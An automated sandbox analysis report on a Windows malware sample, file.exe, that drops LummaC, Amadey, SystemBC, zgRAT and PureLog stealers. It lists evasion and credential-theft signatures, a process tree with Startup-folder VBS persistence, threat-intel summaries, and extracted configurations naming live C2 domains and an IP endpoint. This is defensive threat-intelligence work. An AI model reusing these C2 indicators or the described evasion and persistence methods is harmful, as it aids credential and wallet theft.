Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1579015
MD5:	903052dc4ec888f7f5bceb743304b9a2
SHA1:	9a915074586344f727528a5fc63b86b6083e291b
SHA256:	94892ae5c3bee71ad27491e1801b78af3789a15cacc1817de0a970854b841587
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected SystemBC

Yara detected zgRAT

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to start a terminal service

Drops VBS files to the startup folder

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: WScript or CScript Dropper

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 5644 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 903052DC4EC888F7F5BCEB743304B9A2)

skotes.exe (PID: 3964 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 903052DC4EC888F7F5BCEB743304B9A2)

skotes.exe (PID: 5984 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 903052DC4EC888F7F5BCEB743304B9A2)

skotes.exe (PID: 7752 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 903052DC4EC888F7F5BCEB743304B9A2)

Baursystempower.exe (PID: 8032 cmdline: "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

Baursystempower.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

Gxtuum.exe (PID: 7068 cmdline: "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

Gxtuum.exe (PID: 7264 cmdline: "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

Bestsoundeffectives.exe (PID: 7416 cmdline: "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe" MD5: 73703D5BB617732C13350E6CC99E6C25)

Bestsoundeffectives.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe" MD5: 73703D5BB617732C13350E6CC99E6C25)

87c402ca32.exe (PID: 8096 cmdline: "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

87c402ca32.exe (PID: 8140 cmdline: "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

8a32a8d958.exe (PID: 5544 cmdline: "C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe" MD5: 27C1F96D7E1B72B6817B6EFEFF037F90)

1de5b2f311.exe (PID: 6516 cmdline: "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 6964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

1de5b2f311.exe (PID: 7524 cmdline: "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

1de5b2f311.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

ece32691cf.exe (PID: 6268 cmdline: "C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

Gxtuum.exe (PID: 4992 cmdline: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

Gxtuum.exe (PID: 1756 cmdline: "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

wscript.exe (PID: 7192 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

Target.exe (PID: 7228 cmdline: "C:\Users\user\AppData\Roaming\Target.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

Target.exe (PID: 3940 cmdline: "C:\Users\user\AppData\Roaming\Target.exe" MD5: 6A07DFD80596F3CC2D5D5553C1CA5280)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
SystemBC	SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.	No Attribution	https://asec.ahnlab.com/en/33600/ https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight	https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "grannyejh.lat", "energyaffai.lat", "rapeflowwj.lat", "necklacebudi.lat", "discokeyus.lat", "lossekniyyt.click", "crosshuaht.lat", "sustainskelet.lat"], "Build id": "9Z1cyc--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: SystemBC

{"HOST1": "wodresomdaymomentum.org", "HOST2": "wodresomdaymomentum.org"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000004.00000002.2548660492.00000000005B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.3471820521.0000000003791000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000018.00000002.3719246549.0000000005CF0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.3355198935.0000000005720000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000003.3093128842.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2508664537.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2451411708.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.3350482132.0000000003D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0000000A.00000002.3321609475.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000003.2508232351.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3676371784.0000000003570000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000C.00000002.3458098302.000000000279F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Baursystempower.exe PID: 8032	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Baursystempower.exe PID: 8032	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 87c402ca32.exe PID: 8140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Gxtuum.exe PID: 7068	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Gxtuum.exe PID: 7068	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Gxtuum.exe PID: 4992	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 8a32a8d958.exe PID: 5544	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8a32a8d958.exe PID: 5544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8a32a8d958.exe PID: 5544	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Target.exe PID: 7228	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Target.exe PID: 7228	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 1de5b2f311.exe PID: 7532	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1de5b2f311.exe PID: 7532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 1de5b2f311.exe PID: 7532	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1de5b2f311.exe PID: 7532	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ece32691cf.exe PID: 6268	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ece32691cf.exe PID: 6268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ece32691cf.exe PID: 6268	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Bestsoundeffectives.exe PID: 7416	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Bestsoundeffectives.exe PID: 7416	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Bestsoundeffectives.exe PID: 7416	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
24.2.Bestsoundeffectives.exe.3234478.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
24.2.Bestsoundeffectives.exe.5cf0000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Baursystempower.exe.5720000.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
7.2.Baursystempower.exe.3d48cb0.0.raw.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
10.2.Baursystempower.exe.400000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
11.2.Gxtuum.exe.3795570.0.raw.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
11.2.Gxtuum.exe.3795570.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
7.2.Baursystempower.exe.3d48cb0.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
10.2.Baursystempower.exe.400000.0.raw.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
3.2.skotes.exe.5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.skotes.exe.5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.file.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.0.87c402ca32.exe.db0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.0.87c402ca32.exe.db0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.2.87c402ca32.exe.43d94e0.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.2.87c402ca32.exe.43d94e0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.87c402ca32.exe.43d94e0.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.2.87c402ca32.exe.4393198.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.87c402ca32.exe.4393198.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
8.2.87c402ca32.exe.4393198.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
8.2.87c402ca32.exe.4393198.2.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 17 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" , ProcessId: 7192, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs" , ProcessId: 7192, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe, ProcessId: 8032, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:26.984814+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:29.023332+0100	2028371	3	Unknown Traffic	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:31.773680+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	172.67.131.246	443	TCP
2024-12-20T17:43:33.917200+0100	2028371	3	Unknown Traffic	192.168.2.6	49738	172.67.131.246	443	TCP
2024-12-20T17:43:35.874833+0100	2028371	3	Unknown Traffic	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:36.087951+0100	2028371	3	Unknown Traffic	192.168.2.6	49743	172.67.131.246	443	TCP
2024-12-20T17:43:37.886912+0100	2028371	3	Unknown Traffic	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:38.633600+0100	2028371	3	Unknown Traffic	192.168.2.6	49746	172.67.131.246	443	TCP
2024-12-20T17:43:40.741189+0100	2028371	3	Unknown Traffic	192.168.2.6	49752	172.67.197.170	443	TCP
2024-12-20T17:43:41.281421+0100	2028371	3	Unknown Traffic	192.168.2.6	49758	172.67.131.246	443	TCP
2024-12-20T17:43:43.556462+0100	2028371	3	Unknown Traffic	192.168.2.6	49765	172.67.197.170	443	TCP
2024-12-20T17:43:45.013133+0100	2028371	3	Unknown Traffic	192.168.2.6	49768	172.67.131.246	443	TCP
2024-12-20T17:43:46.053647+0100	2028371	3	Unknown Traffic	192.168.2.6	49774	172.67.197.170	443	TCP
2024-12-20T17:43:46.525273+0100	2028371	3	Unknown Traffic	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:48.514533+0100	2028371	3	Unknown Traffic	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:50.096623+0100	2028371	3	Unknown Traffic	192.168.2.6	49783	172.67.197.170	443	TCP
2024-12-20T17:43:52.635334+0100	2028371	3	Unknown Traffic	192.168.2.6	49792	104.21.23.76	443	TCP
2024-12-20T17:43:53.318767+0100	2028371	3	Unknown Traffic	192.168.2.6	49795	104.21.91.209	443	TCP
2024-12-20T17:43:53.482304+0100	2028371	3	Unknown Traffic	192.168.2.6	49796	172.67.197.170	443	TCP
2024-12-20T17:43:55.366209+0100	2028371	3	Unknown Traffic	192.168.2.6	49803	104.21.91.209	443	TCP
2024-12-20T17:43:55.602353+0100	2028371	3	Unknown Traffic	192.168.2.6	49804	104.21.23.76	443	TCP
2024-12-20T17:43:57.164840+0100	2028371	3	Unknown Traffic	192.168.2.6	49810	172.67.197.170	443	TCP
2024-12-20T17:43:58.319836+0100	2028371	3	Unknown Traffic	192.168.2.6	49814	104.21.23.76	443	TCP
2024-12-20T17:44:01.430271+0100	2028371	3	Unknown Traffic	192.168.2.6	49823	104.21.23.76	443	TCP
2024-12-20T17:44:01.538846+0100	2028371	3	Unknown Traffic	192.168.2.6	49825	104.21.91.209	443	TCP
2024-12-20T17:44:03.663258+0100	2028371	3	Unknown Traffic	192.168.2.6	49831	104.21.91.209	443	TCP
2024-12-20T17:44:03.975683+0100	2028371	3	Unknown Traffic	192.168.2.6	49833	104.21.23.76	443	TCP
2024-12-20T17:44:05.985675+0100	2028371	3	Unknown Traffic	192.168.2.6	49840	104.21.91.209	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:27.742098+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:29.843109+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:36.649161+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:38.715197+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:45.783574+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49768	172.67.131.246	443	TCP
2024-12-20T17:43:47.286590+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49775	104.21.23.76	443	TCP
2024-12-20T17:43:49.572450+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49780	104.21.23.76	443	TCP
2024-12-20T17:43:54.083259+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49795	104.21.91.209	443	TCP
2024-12-20T17:43:56.149199+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49803	104.21.91.209	443	TCP
2024-12-20T17:43:58.254170+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49810	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T17:43:27.742098+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:36.649161+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:47.286590+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49775	104.21.23.76	443	TCP
